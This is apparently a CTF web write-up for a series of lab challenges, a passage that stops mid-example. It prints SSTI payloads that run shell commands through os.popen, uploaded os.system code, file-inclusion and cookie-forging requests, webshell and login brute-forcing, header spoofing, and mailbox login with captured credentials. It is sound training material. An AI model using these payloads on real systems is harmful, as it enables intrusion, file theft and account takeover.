ctf之WEB练习三

题目名称:Simple_SSTI_2
题目wirteup:
启动题目场景,获得靶场网站,访问网站,页面显示url连接需要连接一个 flag参数
http://114.67.246.176:19131/
根据题目内容,该题是一个ssti漏洞,这里构造ssti,参数构造flag={{3+2}},报错,且是flask
http://114.67.246.176:19131/?flag={{3+2}}


又尝试构造flag={{3*2}},发现页面显示6.证明系统存在ssti漏洞
通过config变量查看flask的配置信息,并没有可利用点
http://114.67.246.176:19131/?flag={{config}}

通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件,这里读取网站系统目录,发现存在一些文件夹,一个个进入查看,发现第一个看的app文件夹里就有flag
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##__init__             初始化类,返回的类型是function
##__globals__[]          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象

http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取app目录下的文件,发现存在flag文件
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
最终得到flag:
flag{fcf301ac393f2215b3664d749c2d875e}

题目名称:Flask_FileUpload
题目witeup:
http://114.67.246.176:12896/
对文件上传页面进行源码查看,发现只允许上传jpg和png文件名格式,且让我们上传文件,文件内容会被python执行
view-source:http://114.67.246.176:12896/
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,
子进程的执行结果无法影响主进程;os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成。
这里使用python的os包中的system函数读取flag
这里上传一个test.jpg,其内容是读取网站根目录

import os

os.system('ls /')

上传成功,并查看源代码,发现存在系统网站的根目录,并且也发现根目录中包含flag文件



 查看flag

import os

os.system('cat /flag')

上传成功,并查看源代码,并发现flag内容
最终flag:
flag{e541f3aadc9575ed6b6832b7ca34e327}

题目名称:计算器
题目内容:计算正确即可得到flag
题目writeup:
其他题目场景,获得靶场网站,访问网站,发现需要输入正确的验证码,才能获得flag,通过f12元素审核,查看源代码中包含了一个code.js
http://114.67.246.176:16139/

查看code.js,发现 flag内容
http://114.67.246.176:16139/js/code.js
最终得到flag:
flag{e5d6e3fe29850f7fec9ea6ef55f86050}

题目名称:GET
题目内容:flag{}
题目wirteup:
启动题目场景,获得靶场网站,访问网站,页面上显示了一段php代码
http://114.67.246.176:13678/
进行简单的代码审计,发现传递http get方法的what参数变量,当what参数变量等于flag时,那么就输出flag,这里构造:?what=flag,即可得到flag
最终flag:
flag{54790dba4001f7ded2ebde88ca82a3ca}


题目名称:POST
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现一段php代码

进行简单的代码审计,发现传递http post get方法的what参数变量,当what参数变量等于flag时,那么就输出flag,
这里构造:
post:
what=flag
即可获得flag
最终flag:
flag{4335dd4cc76278468578d8026fb121ae}
题目名称:矛盾
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一段php 代码

通过对代码的简单分析,我们可以发现传入了一个参数num,这里涉及道一个函数is_numeric,这个函数是检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE,否则返回 FALSE

这条语句的意思是要传入的num参数既不是数字字符串,并且又要等于1.'

num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。

在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0),所以,构造:?num=1a,即可得到flag

最终 flag:
flag{d95c4676fd2740a47e0393cf3364e3e3}

题目名称:alert
题目内容:flag{}
题目wireup:
启动场景,获得靶场网站,打开页面,发现是一个无限制弹窗
http://114.67.246.176:15743/
对其通过源码形式访问,并查看网页源码,发现注释中有一段以&#开头的unicode编码
通过在线unicode解密,得到flag内容
http://tool.chinaz.com/tools/unicode.aspx
最终flag:
flag{09eec7218f68c04c87093052720c2c11}

题目名称:你必须让他停下
题目wireup:
启动题目场景,获得靶场网站,访问网站,页面不断刷新图片
对页面进行源代码查看,并没有发现flag,只是有单不断刷新页面的scirpt脚本
通过bupsuit对其抓包,然后我们通过不断重复的发送数据包go,最终在响应页面可以看到flag内容

最终flag:
flag{ff9acfa3bbec16fe29b3ad5aef8f5421}

题目名称:社工-初步收集
题目内容:其实是杂项,勉强算社工吧。来自当年实战
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一个刷钻网站
http://114.67.246.176:13506/#goumai
通过御剑对其目标靶场网站进行目录扫描,发现存在admin后台
访问admin目录,确实存在后台
http://114.67.246.176:13506/admin/login.php

在该靶场主页下方,可下载辅助,这里我么对其下载。

image-20210531172109605

解压后,然后再虚拟机中运行该刷钻程序

image-20210531172614314

在输入qq和密码点击开始,通过wrishark 对其抓包分析,发现弹出一个窗口“哈哈,小别致别骗了”

image-20210531173000092

仔细观察抓到的包,会发现疑似存在发包的邮箱和Base64加密的Pass。

image-20210531173328676

对base64进行解密成功,看起来,这个不像是密码,太长了,而是想授权码。

image-20210531173713476

打开Foxmail登录,输入邮箱地址,然后输入授权码,即可登录。

image-20210531181535352

查看收件箱,按“主题”排序后,找到一封有可利用信息的邮件

可以看到发件人为Mara

发件时间是2021年,现在20岁,可以判断在2001年出生

又说是前两天过生日,可以判断生日为2月6号

image-20210531174014354

尝试登陆一下输入:用户名mara ,密码为maryy生日号码:20010206



成功登录系统,查看网站后台中的网站设置---播放器key,即可得到flag



最终得到flag:
flag{c4cba16a2f1a2d5aedf2ddd90a6bd04f}

题目名称:game1
题目wirtup:
启动题目场景,获得靶场网站,访问网站,发现一个玩游戏,获得最高分数,可获得flag.这里可以任意随便玩一局。
http://114.67.246.176:17941/?s=1629731758384
然后在游戏结束前通过bupsuit对其抓包分析,发现结果和source和ip以及sing三个参数的值有关。
sing参数变量后的值看起像base64,对其解密发现是乱码
查看靶场游戏主页的源码,发现sing的变量值等base64.encode(source.toString()),这里看不出有啥可利用点。
view-source:http://114.67.246.176:17941/
再次进行一次玩游戏,这次得分为25,游戏结束前对其抓包分析。
http://114.67.246.176:17941/score.php?score=25&ip=183.221.17.223&sign=zMMjU===
通过上面2次玩游戏结束前抓包分析得出:
发现sing的值都是ZM开头,以及分数25的base64是MjU=,分数50的base64为NTA=
得出结果为:sing=ZM+base64(score)+==
这里我们可以将分数修改为高分数,以及修改对应的sing,并发送请求包即可得到flag
 构造:
最终flag:
flag{c69ec14d9d44ba5ff1122ea5bc89b025}

题目名称:网站被黑
题目内容:
网站被黑了 黑客会不会留下后门
题目wirteup:
启动题目场景,获得靶场网站,访问网站,发现页面是一个黑页
http://114.67.246.176:19231/
通过御剑目录扫描工具对靶场黑页进行目录扫描,发现网站存在一个shell.php文件
得到一个webshell后门文件
这里输入任意密码,通过bupsuit对其抓包
这里通过buspuit的intruder功能加载常用的webshell后门字典,即可爆破成功,得到flag的内容
最终得到flag:
flag{77bc54f531f526c0c26d2023284bd97f}    

题目名称:本地管理员
题目wirteup:
启动题目场景,获得靶场网站,访问网站,页面是一个登陆页面。
根据题目名称,猜测用户名为admin.这里密码输入任意如:123456,提交登陆
http://114.67.246.176:10392
页面返回提示:
IP禁止访问,请联系本地管理员登陆,IP已被记录

猜测可能客服端的源IP需要进行伪造,这里伪造源IP请求IP地址为:127.0.0.1
这里对输入用户名和密码,通过bupsuit对其抓包,然后将x-forwarded-for:127.0.0.1添加到http请求头部,并发送请求。响应页面没有显示无效的认证,请重试,说明密码不正确
在响应内容最结尾的注释中有一段base64字符串:dGVzdDEyMw==,对其进行base64解密得到:test123,猜测解密后的字符应该是admin用的密码
输入用户名admin,密码test123,http头部添加x-forwarded-for:127.0.0.1,发送请求,在响应页面,可获得flag内容

最终flag:
flag{e44f5b5a923d2078715516b17860d984}

题目名称:bp
题目内容:
弱密码top1000?z?????
请找出密码
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面是一个登陆页面。
输入用户名admin,密码123456,对其抓包分析
通过burpsuit的intruder功能加载top1000的弱密码字典进行爆破


查看响应的返回值,发现密码正确与否状态和长度都一样,并查看返回值,发现js代码中,分析后发现结果中都包含了{code:'bugku10000'},可能正确答案不包含


通过Burpsuite的 Grep – Match 在响应中找出存在指定的内容的一项,并过滤掉存在JavaScript代码中的{code: 'bugku10000'}的数据包

点击Intruder中的options选项卡找到Grep-Match(在响应中找出存在指定的内容的一项。),在输入框中我们输入{code: 'bugku10000'}之后点击Add添加。

再次开始攻击,攻击完成之后我们此时观察的不是length的长度,而是我们添加的{code: 'bugku10000'}。我们发现有一个数据包在{code: 'bugku10000'}没有打上✅表示数据包中没有这一项,非常可疑。于是我们找到对应的payload内容。
发现对应的payload为zxc123。我们尝试在网站上进行登录 输入用户名admin,密码zxc123,即可登录系统,得到flag内容
最终flag:
flag{347be207c0c4099025c976436c011634}

题目名称:变量1
题目内容:
题目变量1
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面是一段php代码
显示的php代码如下:
flag In the variable ! 
 <?php  
error_reporting(0);              // 关闭php错误显示
include "flag1.php";               // 包含flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){                       // 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){                   // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
代码简单分析:
其中preg_match("/^\w+$/",$args)执行正则表达式匹配:
/^表示开始,\w表示任意一个字符,即[a-z][A-Z][0-9],+将前面的字符匹配一次或多次,$/结束。
后面的args变量是被匹配的。相当于在args变量里寻找符合正则表达式的部分,若有则返回1,若没有则返回0。(相当于搜索子字符串)
提示说flag在变量里面,经分析只要运行 eval("var_dump($$args);");,falg很有可能就会出来$$arg
我们可以猜想$args很有可能是一个数组,应该想到的就是超全局变量$GLOBALS
它是用来存储全局变量的,全局变量的值在这个超级全局变量里面是一个键值,先当于hashmap的键值对。
全局变量可以通过变量名在$GLOBALS找到相对应的值。
eval()这个函数的作用是字符串里面的php代码按正常的php代码被执行

我们只需给变量传一个全局数组变量就好了,所以我们构造 ?args=GLOBALS加到url后面
http://114.67.246.176:18849/?args=GLOBALS
注:此处全局变量的GLOBALS必须为大写!!!!
最终flag:
flag{84e8f1a1ac2ed86c817843b8f09f5fd6}

题目名称:头等舱
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示以及源码都没有
view-source:http://114.67.246.176:10611/
通过bupsuit对其抓包分析,发现在响应页面中的http头部中包含了flag内容


最终flag:
flag{802688cfc5b74ca38d78e5b285420930}



题目名称:社工-伪造
题目内容:
伪造信息
也算是一道实战题,虽然出的没头没脑的
题目writeup:
启动题目场景,获得靶场网站,发现是一个聊天室
http://114.67.246.176:10697/
这里输入我的QQ小号:31964xxx640,可登录进去然后和小美对话,发送flag消息,返回信息告诉我们flag 只有她告诉她男朋友

点击小美的QQ空间
发现在QQ空间说说中,也显示想要找到flag,只有她的男朋友才能获得flag.
在说说截图中,可以看到小美的男朋友的QQ名称叫小bug
这里我们可以伪造冒充她的男朋友给她发信息,于是在QQ好友搜索小bug,并且看到头像和名称一样的QQ,发现她男朋友的QQ为:913850006
在聊天室登录窗口中输入QQ号913850006登录聊天室。和小美对话,在聊天中发送flag,即可获得flag内容

最终flag:
flag{18824c773fb4c8fca6813b7070dfa99c}

题目名称:source
题目内容:我哥说渗透我只用linux环境
题目wireup:
启动题目场景,获得靶场网站,访问页面显示“Hello,world,this is my fiend"
http://114.67.246.176:16091/
并查看靶场网站的源码,发现存在一个flag,提交flag,但是显示错误,证明这个flag是假的。
view-source:http://114.67.246.176:16091/
通过dirsearch.py对靶场网站进行目录扫描,发现存在.git泄露
python3  dirsearch.py  -u  http://114.67.246.176:16091/
访问/.git/目录,靶场网站确实存在目录可以预览和下载
这里通过git_extract.py对/.git/进行下载
python git_extract.py    http://114.67.246.176:16091/.git/
查看flag,发现真正的flag在flag.txt.726e5d文件中。
cat flag.txt.726e5d 
最终flag为:
flag{git_is_good_distributed_version_control_system}

题目名称:源代码
题目内容:看看源代码
题目wirteup:
启动题目场景,获得靶场网站,访问网站,发现主页是一个文本框需要提交。
http://114.67.246.176:14752/index.php
对其靶场网站主页进行查看源代码,发现存在加密的script 脚本,脚本内容是url编码
view-source:http://114.67.246.176:14752/
通过在线工具对其URL进行解码:
http://tool.chinaz.com/tools/urlencode.aspx
url解码整理得到:
<script>
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2'  +p2));
</script>
javascript的eval(string)函数将计算字符串,其中含有要计算的 JavaScript 表达式或要执行的语句,返回值为计算结果(执行结果)
Javascript的unescape(string)函数通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。
通过分析,上面的JS最终转换为:
function checkSubmit(){ 
        var a=document.getElementById("password"); 
        if("undefined"!=typeof a){ 
            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) 
                return!0; 
           alert("Error");
           a.focus(); 
            return!1 
    }
 } 
document.getElementById("levelQuest").onsubmit=checkSubmit;
根据代码的提示,我们将67d709b2b54aa2aa648cf6e87a7114f1填到输入文本框内,就能得到flag内容
最终flag:
flag{ec16d4c9b20f41cd93d2dac273c26ae4}

题目名称:文件包含
题目内容: flag{}
题目writeup:
启动题目场景,获得靶场网站,访问靶场网站主页,页面显示click me?no
http://114.67.246.176:12072/
点击click me ?no,进入一个新的url连接,?file=show.php看起来像文件包含(题目名称也告诉是文件包含)。显示靶场网站存在index.php
http://114.67.246.176:12072/index.php?file=show.php
这里尝试通过php://fiter伪协议读取index.php的源码,可成功读取到源码,读取出来的源码是base64 加密的
得到加密的 base64:
77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2IxZjhlNmRhNjE5MTMyN2Q3ZTAwNzcxYjI1M2I5ZWVhfQ0KPz4NCjwvaHRtbD4NCg==
通过在线 base64 解密工具,可得到index.php的源码,且源码中就包含了flag的内容
https://www.qqxiuzi.cn/bianma/base64.htm
最终得到flag:
flag{b1f8e6da6191327d7e00771b253b9eea}

题目名称:好像需要密码
题目内容:
题目writeup:
启动题目场景,获得靶场网站,访问网站。发现页面需要输入纯5位数字才能得到 flag
http://114.67.246.176:12730/
这里通过crunch 命令生成纯5位数的字典
crunch 5 5 0123456789 -o  pass.txt
在靶场主页密码框中输入任意5位数,点击查询,然后通过bursupit对其抓包进行分析。
下面通过burpsuit的intruder进行攻击爆破pwd密码参数。
加载生成的纯5位数的密码字典
需要设置fuzz的线程数为100,这样爆破的速度更快点。
在  payload为12468时,可获得flag.
最终 flag:
flag{19554f1b0596501e8a09ded120cc9315}

题目名称:备份是个好习惯
题目内容:
题目witeup:
启动题目场景,获得靶场网站,访问靶场主页,页面内容显示看起像md5 加密字符串,但是对其解密是无法解密
http://114.67.246.176:10983/
通过御剑对靶场网站主页进行目录扫描,发现可以扫描出index.php.bak以及flag.php文件
访问index.php.bk文件,可下载文件。
得到的index.php源码:
<?php
include_once "flag.php";   //包含 flag.php 文件
ini_set("display_errors", 0);   //设置不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?');     //判断URL里是否有问号,存在就返回给 $str,获得URI从'?'往后(包括'?')的字符串
$str = substr($str,1);   //获取 ? 后面的值,去掉'?
$str = str_replace('key','',$str);       //将 $str 里面的 key 替换为空
parse_str($str);//解析字符串echo md5($key1);       //将 key1 进行 MD5 加密并输出
 
echo md5($key2);                     //将 key2 进行 MD5 加密并输出if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";                      //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>
代码知识点:
strstr() 函数 strstr(string,search,before_search)  //搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE(区分大小写),stristr() 函数,这个不区分;
substr() 函数 substr(string,start,length)   //返回字符串的一部分;
str_replace() 函数str_replace(find,replace,string,count)  // 替 换字符串中的一些字符(区分大小写)。
parse_str() 函数 parse_str(string,array)  //把查询字符串解析到变量中
分析这段代码,可知:
网页URL应该有两个参数key1和key2,网页显示key1、key2的md5值,如果这俩值比较相等,则显示flag、“取得flag”。
网页已显示的原来是俩默认的md5值。现在关键,得到flag,需要不同的key1和key2的md5值比较相等。

所以,整段代码的意思就是截取URL?后的参数,并把gat到的变量中所有key替换为空格,不过这里我们可以用双写kkeyey绕过
if(md5($key1) == md5($key2) && $key1 !== $key2)
但是通过这段代码可以知道,我们传进去的变量,它们的md5值要相同,但它们本身却有不同,这里有两种方法绕过:
法一:md5()函数是无法处理数组的,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以将key1,key2写成数组,内容不一样就行了。
?kkeyey1[]=ss&kkeyey2[]=bb
http://114.67.246.176:10983/?kkeyey1[]=ss&kkeyey2[]=bb
法二: 利用==弱比较漏洞

众所周知,科学计数法为*e***,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了。
下面几个都是开头为0e的
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
?kkeyey1=QNKCDZO&kkeyey2=240610708
注意:其中QNKCDZO和s878926199a的md5编码都以0e开头,这里用到了php中==的绕过
http://114.67.246.176:10983/?kkeyey1=QNKCDZO&kkeyey2=240610708
最终flag:
flag{10b2a9f76f6d43d5a932b13f1fc06e90}

题目名称:No one knows regex better than me
题目内容:正则好像没有想象中那么简单
题目writeup:
启动题目场景,获得靶场网站,访问靶场网站,页面显示了一段php代码
http://114.67.246.176:14170/
其php代码为:
<?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
}

逐块分析
1、传入参数zero与first,将二者拼接后传值给$second

$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;

2、第一个正则匹配

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))

$second中,即拼接后的结果里要至少有上述内容中的一项。传入的两个参数只要有这其中的字符就行了。
3、第二个正则匹配

if(preg_match("/\.\.|flag/",$key)){
     
        die("Noooood hacker!");
    }

当$key即($second)中有. 或flag时被过滤,也就是不能匹配到 . 或flag
4、第三个正则匹配

$third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
     
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }


前端带了两个参数回来,ZERO FIRST,second是这两个变量值拼接

second第一层if要匹配的正则表达式是 Yeedo|wants|a|girl|friend|or|a|flag ,意思是只要出现这几个单词中的一个就可以过

第二层if要匹配的是…|flag,是…或者flag,意思second不能带…或者flag

first变量匹配\|\056\160\150\x70

\056是ascii编码,就跟c语言中char a=97,a是字符’a’一样,056 160 150是8进制,x70是16进制,不好理解可以把它转成十进制再转换转换出来就是.php

关于双重转义,在匹配正则时,字符串会先转义,然后再去匹配正则,\|\056\160\150\x70,字符串会被转义成|.php交给正则匹配器匹配,匹配的结果就是含有|.php

的字符串可以被接受(只有给正则匹配器的是\|.php才是\或者.php)

两重转义基础知识:

在正则表达式中要匹配一个反斜杠时,例如"\\\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。

字符串 ----> 正则表达式字符串参数 -----> 正则解析转移后的pattern

字符串:"\\." ----> 正则表达式形式:"\." ---> 正则引擎解析结果"\."(转义的.) 

字符串:"(\\)(\\)" ----> 正则表达式形式:"\\" ---> 正则引擎解析结果"\"(普通符号\) 

字符串:"(\\)(\\)|.php" ----> 正则表达式形式:"\\|.php" ---> 正则引擎解析结果pattern为"\"或".php"(普通符号\) 

字符串:"(\\)|.php" ----> 正则表达式形式:"\|.php" ---> 正则引擎解析结果"|.php"(普通符号\)


关键正则匹配if(preg_match("/\\|\056\160\150\x70/i",$third))进行分析:

其中\056\160\150\x70是三个八进制一个十六进制,编码过来就是.php的意思

这里有个优先级的问题,当匹配字符串中有字符串转义时,先进行字符串转义,然后进行正则匹配的相关转义。

开始以为这里是匹配的\ 或.php,测试后发现匹配的是|.php,因为\\|转义成\|后,又转义了一次,最后变成|,然后和后面的.php拼接成|.php

056-46-.

160-112-p

150-104-h

70--112-p

字符串转义后结果是

if(preg_match("/\|.php/i",$third))

所以$first的值为|.php

易知$zero的值为ZmxhZy5waHA (flag.php经过一次base64编码)

回到第一个正则匹配,需要满足条件才能进入后面的匹配,这里比较有意思的是ZmxhZy5waHA中恰好有一个a

因此可以开始构造:

方法一:zero是flag.php的base64编码

?zero=ZmxhZy5waHA&first=|.php

http://114.67.246.176:14170/?zero=ZmxhZy5waHA&first=|.php

方法二: zero是flag的base64编码,first从第5个字串开始是.php ,substr()函数,从第五个字符开始截取,所以就在前填四个a,截取成.php

flag的base64编码是ZmxhZw==

zero=ZmxhZw==&first=aaaa|.php

http://114.67.246.176:14170/?zero=ZmxhZw==&first=aaaa|.php


方法三: zero是 flag.的base64编码为 ZmxhZy4=

?zero=ZmxhZy4=&first=aaa|.php

http://114.67.246.176:14170/?zero=ZmxhZy4=&first=aaa|.php


最终flag:

flag{05b07ce4e05b5b8fce3bfde9b1c2ae03}



题目名称:cookies

题目内容:cookies欺骗

题目writeup:

启动题目场景,获得靶场网站,访问靶场网站,页面内容显示一段很长串的字符串,无果。

http://114.67.246.176:10306/index.php?line=&filename=a2V5cy50eHQ=

通过bupsuit对其抓包分析
http://114.67.246.176:10306/index.php?line=&filename=a2V5cy50eHQ=
这里line 代表行数,filename代表文件名的base64.
其中a2V5cy50eHQ= 进行base64解密得到 keys.txt,这里的请求就是获得keys.txt的内容。
将line改成1(第二行)发现在响应页面中没有内容,改成0,可获得内容,证明该keys.txt只有1行内容(如果不对行数赋值,默认是0,也就是第一行)
http://114.67.246.176:10306/index.php?line=0&filename=a2V5cy50eHQ=
通过题目内容分析,index.php和keys.txt存在靶机网站系统中
对index.php文件名进行base64加密得到:aW5kZXgucGhw
尝试读取index.php第一行内容,构造POC如下:
可以通过python脚本批量读取index.php所有内容:
#coding=utf8
import requests
url1 = "http://114.67.246.176:10306/index.php?line="
url2 = "&filename=aW5kZXgucGhw"
mysession = requests.session()
s = ''
for i in range(0, 40):
r = mysession.get(url1+str(i)+url2) # 读取每一行代码
s = s + r.text
print(s)
读取得到的index.php源码:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的话获取其内容,没有的话就赋值为空

$line=isset($_GET['line'])?intval($_GET['line']):0;  //line有值直接获取,无值赋值为0

if($file=='')

header("location:index.php?line=&filename=a2V5cy50eHQ=");    //设置我们看到的URL

$file_list = array(    //关联型数组

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin'

$file_list[2]='keys.php';    //在数组中加入keys.php,这应该存着flag

}

if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中

$fa = file($file);    //是则以文件的方式打开

echo $fa[$line];      //按line行号,输出

}

?>

简单代码分析:

如果if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')

file_list会多出来一个keys.php文件,同时要得到keys.php文件内容还需要使$file=keys.php

即:

1.需要$file=keys.php从php代码中可以看出来,我们需要将keys.php这段字符串Base64加密为a2V5cy5waHA= , 然后将其作为filename的值

2.还要构造Cookie: margin=margin这个Cookie头

方法一:通过burpsuit抓包伪造cookie请求得到flag

http://114.67.246.176:10306/index.php?line=0&filename=a2V5cy5waHA=



方法二:通过python脚本批量获得flag

#coding=utf8
import requests
url = "http://114.67.246.176:10306/index.php?line=&filename=a2V5cy5waHA=" # filename替换为keys.php的base64加密后的内容
mysession = requests.session()
cookies = {'margin': 'margin'}
r = mysession.post(url, cookies=cookies)
print(r.text)
最终得到flag:
flag{f54c600d8f3cc19bf89fc49dd49b11dc}

题目名称:never_give_up
题目writeup:
启动题目场景,获得靶场网站,访问靶场网站主页,页面显示“never never nver give up!!"
http://114.67.246.176:17813/hello.php?id=1
查看靶场主页的源码,发现源码中的注释中包含一个1p.html文件
view-source:http://114.67.246.176:17813/hello.php?id=1
直接get请求访问1p.html,直接跳转到bugku.com论坛。
http://114.67.246.176:17813/1p.html
这里查看1p.html的源码,发现源码中包含了一段javascritp脚本
view-source:http://114.67.246.176:17813/1p.html
javascript脚本中内容包含一些url编码的字符串:
<SCRIPT LANGUAGE="Javascript">
var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
</SCRIPT>
对其javascript脚本内容中进行url解密一次,可得到的内容包含一些base64加密的字符串
<SCRIPT LANGUAGE="Javascript">
var Words ="<script>window.location.href='http://www.bugku.com';</script>
